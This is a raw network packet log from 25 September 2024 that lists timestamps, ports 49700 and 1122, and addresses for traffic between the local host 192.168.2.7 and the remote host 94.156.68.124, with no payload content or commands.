Sep 25, 2024 01:11:12.762720108 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762834072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762850046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762864113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762876034 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762886047 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762893915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762909889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762922049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762923002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762940884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762948036 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.762957096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762972116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.762980938 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.763010025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.763267040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.763286114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.763325930 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.830682039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830734015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830746889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830784082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830787897 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.830800056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830823898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.830939054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830952883 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830967903 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830976963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.830982924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.830997944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831003904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831037045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831168890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831185102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831199884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831214905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831222057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831249952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831407070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831423044 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831439018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831454039 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831460953 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831490040 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831631899 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831646919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831662893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831676006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831681013 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831692934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831707954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.831736088 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.831756115 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839257956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839283943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839297056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839346886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839406967 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839421988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839435101 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839446068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839452028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839471102 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839576006 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839612961 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839709997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839725018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839740038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839754105 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839761972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839771986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839786053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839788914 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839802980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.839828014 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.839986086 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840023994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.840332985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840357065 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840399981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.840413094 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840502977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840517998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840532064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840539932 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.840569973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.840670109 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840688944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.840725899 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841234922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841248989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841265917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841293097 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841305971 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841321945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841336966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841341019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841371059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841455936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841471910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841486931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841507912 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841592073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841618061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841631889 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841635942 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841672897 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841861963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841878891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841892958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841908932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841918945 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841924906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841941118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841947079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.841958046 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841974020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.841981888 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.842010975 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.842230082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842247009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842262983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842286110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.842382908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842397928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842413902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842428923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842432022 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.842453003 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.842618942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842634916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842650890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842660904 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.842664003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.842688084 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.848186970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848202944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848217964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848248959 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.848284960 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.848325968 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848340988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848356009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848370075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848392963 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.848417044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.848465919 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848953962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848968983 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848983049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848994970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.848999977 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849010944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849014044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849026918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849040985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849055052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849059105 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849067926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849081993 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849085093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849107981 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849446058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849458933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849473000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849488020 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849488974 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849503040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849513054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849518061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849534035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849539042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849569082 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849582911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849925041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849940062 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849953890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849966049 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.849967003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849982977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.849989891 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850025892 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850075960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850090981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850106001 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850126982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850564003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850578070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850593090 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850604057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850609064 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850625038 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850631952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850641012 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850656986 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850671053 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850672007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850686073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850697041 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.850702047 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.850725889 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.851234913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.851248980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.851279020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.899656057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.917841911 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.917856932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.917872906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.917927980 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918020964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918035030 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918051004 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918061018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918066025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918090105 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918158054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918178082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918190956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918200016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918226957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918334961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918358088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918373108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918387890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918397903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918402910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918421030 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918512106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918528080 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918541908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918550968 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918555975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918580055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.918659925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918675900 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.918694973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.919032097 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.919048071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.919063091 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.919076920 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.919078112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.919090986 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.919091940 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.919133902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926407099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926423073 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926436901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926486969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926537991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926553965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926568031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926579952 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926583052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926608086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926672935 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926687956 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926713943 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926831007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926846027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926861048 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.926873922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926898956 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.926959991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927092075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927107096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927133083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.927324057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927402020 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.927520990 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927536011 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927551985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927566051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927573919 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.927599907 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.927659988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927675009 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.927710056 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.927793026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928209066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928257942 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928361893 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928375959 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928390026 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928406000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928416967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928421021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928438902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928442955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928473949 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928518057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928534031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928567886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928664923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928679943 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928715944 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928833961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928849936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928864002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928885937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928900003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928904057 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928916931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928925037 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928932905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928947926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928957939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.928983927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.928985119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.929003000 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929018021 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929033041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929039955 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.929049015 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929064989 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929069042 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.929104090 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.929362059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929378033 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929394007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929409981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929414034 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.929426908 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:12.929459095 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:12.935044050 CEST	1122	49700	94.156.68.124	192.168.2.7
